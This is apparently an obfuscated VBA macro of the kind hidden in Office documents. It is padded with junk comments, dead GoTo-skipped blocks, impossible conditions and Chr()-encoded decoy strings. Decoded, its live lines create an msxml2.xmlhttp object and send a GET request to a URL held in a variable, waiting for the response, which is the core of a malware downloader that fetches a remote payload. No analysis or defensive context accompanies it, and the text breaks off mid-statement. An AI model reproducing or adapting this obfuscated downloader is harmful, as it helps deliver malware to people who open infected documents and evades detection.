'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo hsgzhsmu 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim oetdulop As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(85) & Chr(83) & Chr(85) & Chr(82) & Chr(80) & Chr(77) & Chr(46) & Chr(85) & Chr(80) & Chr(85) For Binary As 29 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 114274 = 114274 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1948 < 75 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(118) & Chr(122) & Chr(112) & Chr(97) & Chr(104) & Chr(105) & Chr(113) & Chr(115) & Chr(50) & Chr(54)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(119) & Chr(99) & Chr(106) & Chr(106) & Chr(117) & Chr(112) & Chr(115) & Chr(100) & Chr(50) & Chr(55) & Chr(57) & Chr(56)) = Len(Chr(118) & Chr(97) & Chr(109) & Chr(114) & Chr(103) & Chr(105) & Chr(115) & Chr(108)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #29, , oetdulop 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 145749 = 145749 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 4412 < 47 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(117) & Chr(116) & Chr(119) & Chr(112) & Chr(119) & Chr(110) & Chr(112) & Chr(111) & Chr(54) & Chr(56)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(98) & Chr(110) & Chr(104) & Chr(107) & Chr(110) & Chr(105) & Chr(117) & Chr(104) & Chr(53) & Chr(50) & Chr(54) & Chr(50)) = Len(Chr(105) & Chr(103) & Chr(99) & Chr(102) & Chr(99) & Chr(98) & Chr(108) & Chr(103)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #29 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 836356 = 836356 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 3964 < 85 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(102) & Chr(104) & Chr(118) & Chr(112) & Chr(110) & Chr(120) & Chr(112) & Chr(104) & Chr(57) & Chr(57)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(114) & Chr(98) & Chr(98) & Chr(107) & Chr(122) & Chr(121) & Chr(110) & Chr(98) & Chr(54) & Chr(50) & Chr(51) & Chr(55)) = Len(Chr(121) & Chr(114) & Chr(101) & Chr(114) & Chr(112) & Chr(114) & Chr(98) & Chr(116)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf hsgzhsmu: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 822118 = 822118 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 2276 < 15 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(106) & Chr(120) & Chr(116) & Chr(114) & Chr(100) & Chr(109) & Chr(104) & Chr(118) & Chr(51) & Chr(54)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(118) & Chr(115) & Chr(111) & Chr(101) & Chr(120) & Chr(100) & Chr(115) & Chr(106) & Chr(51) & Chr(49) & Chr(51) & Chr(54)) = Len(Chr(108) & Chr(116) & Chr(105) & Chr(111) & Chr(103) & Chr(108) & Chr(110) & Chr(116)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Set ocpvmgeelcx = CreateObject(Chr(109) & Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(104) & Chr(116) & Chr(116) & Chr(112)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf ocpvmgeelcx.Open Chr(71) & Chr(69) & Chr(84), ejckdfuqggu, False 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo fkgnbngl 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim lfxwswys As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(83) & Chr(84) & Chr(90) & Chr(87) & Chr(78) & Chr(73) & Chr(46) & Chr(83) & Chr(90) & Chr(69) For Binary As 37 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 557928 = 557928 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 3963 < 85 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(119) & Chr(98) & Chr(101) & Chr(102) & Chr(116) & Chr(111) & Chr(110) & Chr(103) & Chr(52) & Chr(55)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(114) & Chr(98) & Chr(110) & Chr(102) & Chr(106) & Chr(98) & Chr(114) & Chr(116) & Chr(54) & Chr(50) & Chr(51) & Chr(54)) = Len(Chr(121) & Chr(101) & Chr(101) & Chr(110) & Chr(110) & Chr(99) & Chr(114) & Chr(115)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #37, , lfxwswys 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 347236 = 347236 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 3113 < 34 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(122) & Chr(100) & Chr(120) & Chr(106) & Chr(122) & Chr(101) & Chr(101) & Chr(103) & Chr(55) & Chr(56)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(105) & Chr(122) & Chr(110) & Chr(103) & Chr(113) & Chr(99) & Chr(98) & Chr(117) & Chr(52) & Chr(56) & Chr(54) & Chr(52)) = Len(Chr(101) & Chr(120) & Chr(118) & Chr(109) & Chr(114) & Chr(122) & Chr(100) & Chr(109)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #37 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 979162 = 979162 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 3491 < 99 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(108) & Chr(102) & Chr(103) & Chr(120) & Chr(102) & Chr(103) & Chr(103) & Chr(116) & Chr(56) & Chr(57)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(111) & Chr(98) & Chr(104) & Chr(114) & Chr(104) & Chr(118) & Chr(114) & Chr(102) & Chr(52) & Chr(51) & Chr(52) & Chr(50)) = Len(Chr(113) & Chr(122) & Chr(108) & Chr(106) & Chr(99) & Chr(120) & Chr(114) & Chr(109)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf fkgnbngl: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 634598 = 634598 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 7877 < 96 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(109) & Chr(116) & Chr(114) & Chr(112) & Chr(108) & Chr(103) & Chr(110) & Chr(104) & Chr(49) & Chr(55)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(97) & Chr(119) & Chr(105) & Chr(111) & Chr(97) & Chr(117) & Chr(120) & Chr(111) & Chr(49) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(120) & Chr(102) & Chr(117) & Chr(102) & Chr(109) & Chr(100) & Chr(111) & Chr(120)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf ocpvmgeelcx.send 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Do While ocpvmgeelcx.readystate <> 4 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo uqwnmpen 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim dyemutmj As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(79) & Chr(65) & Chr(84) & Chr(73) & Chr(67) & Chr(68) & Chr(46) & Chr(75) & Chr(76) & Chr(82) For Binary As 25 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 881643 = 881643 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 2516 < 71 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(111) & Chr(108) & Chr(109) & Chr(120) & Chr(113) & Chr(121) & Chr(103) & Chr(114) & Chr(56) & Chr(53)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(98) & Chr(114) & Chr(120) & Chr(101) & Chr(100) & Chr(103) & Chr(116) & Chr(100) & Chr(53) & Chr(55) & Chr(55) & Chr(57)) = Len(Chr(97) & Chr(117) & Chr(118) & Chr(106) & Chr(109) & Chr(102) & Chr(114) & Chr(108)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #25, , dyemutmj 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 272254 = 272254 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 9561 < 89 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(100) & Chr(110) & Chr(101) & Chr(113) & Chr(108) & Chr(116) & Chr(101) & Chr(111) & Chr(55) & Chr(50)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(100) & Chr(116) & Chr(122) & Chr(122) & Chr(100) & Chr(116) & Chr(100) & Chr(105) & Chr(51) & Chr(56) & Chr(51) & Chr(52)) = Len(Chr(117) & Chr(118) & Chr(122) & Chr(121) & Chr(121) & Chr(113) & Chr(110) & Chr(119)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #25 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 148677 = 148677 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1384 < 68 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(119) & Chr(108) & Chr(121) & Chr(110) & Chr(121) & Chr(120) & Chr(120) & Chr(101) & Chr(50) & Chr(57)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(108) & Chr(102) & Chr(115) & Chr(106) & Chr(119) & Chr(118) & Chr(99) & Chr(114) & Chr(50) & Chr(49) & Chr(51) & Chr(52)) = Len(Chr(119) & Chr(108) & Chr(104) & Chr(101) & Chr(114) & Chr(120) & Chr(99) & Chr(113)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf uqwnmpen: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 819916 = 819916 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 5858 < 76 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(107) & Chr(102) & Chr(108) & Chr(98) & Chr(110) & Chr(100) & Chr(103) & Chr(106) & Chr(54) & Chr(56)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(108) & Chr(108) & Chr(108) & Chr(104) & Chr(109) & Chr(100) & Chr(98) & Chr(104) & Chr(57) & Chr(49) & Chr(50) & Chr(50)) = Len(Chr(100) & Chr(115) & Chr(106) & Chr(109) & Chr(102) & Chr(108) & Chr(100) & Chr(101)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf DoEvents 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo zgksahqs 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim ipnyfpee As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(89) & Chr(72) & Chr(74) & Chr(70) & Chr(70) & Chr(72) & Chr(46) & Chr(89) & Chr(68) & Chr(74) For Binary As 11 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 439317 = 439317 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1876 < 74 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(100) & Chr(108) & Chr(113) & Chr(117) & Chr(117) & Chr(113) & Chr(109) & Chr(111) & Chr(50) & Chr(53)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(99) & Chr(108) & Chr(117) & Chr(121) & Chr(108) & Chr(97) & Chr(118) & Chr(98) & Chr(53) & Chr(49) & Chr(52) & Chr(57)) = Len(Chr(98) & Chr(120) & Chr(113) & Chr(108) & Chr(122) & Chr(98) & Chr(118) & Chr(121)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #11, , ipnyfpee 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 763678 = 763678 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 8278 < 76 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(98) & Chr(99) & Chr(97) & Chr(107) & Chr(120) & Chr(97) & Chr(109) & Chr(105) & Chr(50) & Chr(49)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(117) & Chr(100) & Chr(116) & Chr(106) & Chr(116) & Chr(119) & Chr(106) & Chr(98) & Chr(57) & Chr(49) & Chr(50) & Chr(56)) = Len(Chr(97) & Chr(117) & Chr(114) & Chr(119) & Chr(118) & Chr(110) & Chr(114) & Chr(100)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #11 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 529126 = 529126 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 9982 < 55 Then 